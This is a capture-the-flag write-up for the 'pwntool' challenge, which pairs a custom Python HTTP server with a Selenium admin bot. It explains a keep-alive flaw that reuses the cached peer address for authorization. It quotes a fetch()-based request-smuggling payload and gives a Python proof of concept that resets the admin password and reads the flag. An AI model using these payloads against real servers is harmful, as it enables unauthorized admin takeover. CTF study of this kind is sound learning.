Challenge source
Introduction
pwntool is a minimalist HTTP server (a custom socket loop with keep-alive and manual request parsing) plus an admin bot (Selenium/Chrome) that visits attacker-supplied URLs. The intended solution uses a browser-side payload (exploit.txt) to smuggle a second HTTP request to /register.
Mine is unintended. The server caches client_addr per TCP socket and never refreshes it per request on a persistent connection. So once a trusted client is connected, any later request on that same socket inherits its admin/localhost identity, which is enough to register or reset the admin without touching the browser-smuggling trick at all.
Context Explanation
- Server: a custom Python socket server (
app.py) multiplexing clients withselect, parsing HTTP by hand, with keep-alive. - Admin bot: Selenium/Chrome, driven via
/visitwith anX-Targetheader; it connects from127.0.0.1. - Routes:
/register,/flag, and friends. Admin creds are generated at startup and kept in memory (accounts). - The bug: the per-socket record stores
addr(the peer address ataccept()time) and reuses it for authorization on every request parsed from that socket, without re-deriving identity. Under HTTP/1.1 keep-alive, later requests ride on the same trustedclient_addr.
#...
for s in rlist:
if s is server:
client_sock, addr = server.accept()
client_sock.setblocking(False)
clients[client_sock] = {"addr": addr, "buffer": b""}
print(f"[*] New client {addr}")
#...
Directive
- Use
/visitso the admin bot opens a single keep-alive TCP connection to the server. - Get a second request processed on that same socket, which the server handles without updating
client_addr. - Run a privileged action (
POST /registerwith headers), then read/flag.
Solution
1) Relevant server structure (from app.py)
The server accepts connections, stashes the peer address once, and parses multiple HTTP requests off the same socket:
# app.py (excerpts)
import socket, select, base64, random, string, os, threading
from urllib.parse import urlparse, parse_qs
# ... Selenium / webdriver imports for the admin bot ...
HOST = "0.0.0.0"
PORT = 8080
routes = {}
accounts = {}
FLAG_FILE = "./flag.txt"
# ... admin password generation at startup ...
# accounts["admin"] = admin_password
# print(f"[+] Admin password: {admin_password}")
# Connection bookkeeping
serversock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversock.bind((HOST, PORT))
serversock.listen(128)
clients = {} # socket -> {"addr": (ip, port), "buffer": b"...", ...}
# Main loop (simplified):
s, addr = serversock.accept()
clients[s] = {"addr": addr, "buffer": b"", "last_active": datetime.now()}
# ... later, per readable client socket:
data = s.recv(8192)
client = clients[s]
client["buffer"] += data
# Parse 1+ HTTP requests from client["buffer"] (keep-alive)
# For each parsed request:
# - route it
# - build_response(..., keep_alive=<bool>)
# - s.send(response)
# - if not keep_alive: close
# NOTE: authorization decisions key off client["addr"] (NOT re-derived per request)
The point: the authorization gate for sensitive routes (letting /register through for localhost/the admin bot) keys off client["addr"]. Any request parsed off the same socket inherits that origin.
2) Intended exploit (for reference)
The official path serves an HTML file whose <script> does a body-smuggling trick: fetch("http://localhost:8080/", { method: "POST", body: "a".repeat(3526) + "POST /register HTTP/1.1 ..." }). The server then reads a second request off the same TCP connection, effectively:
POST /register HTTP/1.1
Host: localhost:8080
X-Username: admin
X-Password: admin
Content-Length: 0
3) The unintended exploit: stale client_addr on keep-alive
Same core primitive, multiple requests on one connection, but no browser smuggling needed. The observation:
- Identity is never re-derived per request;
clients[s]["addr"]is reused for everything on that socket. - Once the admin bot (from
127.0.0.1) holds a keep-alive connection, every later request on it counts as localhost/admin.
The PoC:
import base64, time, requests
from datetime import datetime
TARGET = "http://34.72.72.63:23505"
ADMIN_NEW_PASS = "hitcat"
ROUNDS = 10
VISIT_DELAY_S = 0.6
SESSION = requests.Session()
def log(msg): print(f"{msg}", flush=True)
def b64_basic(u,p): return "Basic " + base64.b64encode(f"{u}:{p}".encode()).decode()
def do_visit():
data_url = "http://127.0.0.1:8080/"
r = SESSION.post(TARGET+"/visit", headers={"X-Target": data_url})
log(f"/visit ->{r.text}")
def do_register():
r = SESSION.post(TARGET+"/register", headers={"X-Username":"admin","X-Password":ADMIN_NEW_PASS})
log(f"/register -> {r.text}")
def do_flag():
r = SESSION.get(TARGET+"/flag", headers={"Authorization": b64_basic("admin", ADMIN_NEW_PASS)})
log(f"/flag -> {r.text}")
return r
for i in range(ROUNDS):
log(f"== Round {i+1}/{ROUNDS} ==")
do_visit()
time.sleep(VISIT_DELAY_S)
do_register()
r = do_flag()
if r.status_code == 200 and "flag" in r.text.lower():
print("\n[FLAG]\n" + r.text + "\n")
break
time.sleep(0.7)
What’s happening under the hood:
POST /visitsends the admin bot out from127.0.0.1to open a keep-alive socket to the server.- Since the server parses several requests from one
clients[s]["buffer"], a second request lands on that same socket. - It gets authorized against the cached
client["addr"] == ('127.0.0.1', <port>), so it reads as local/admin. /registerresets the admin, then/flaggives it up.
No browser body tricks, just the server’s per-socket identity caching.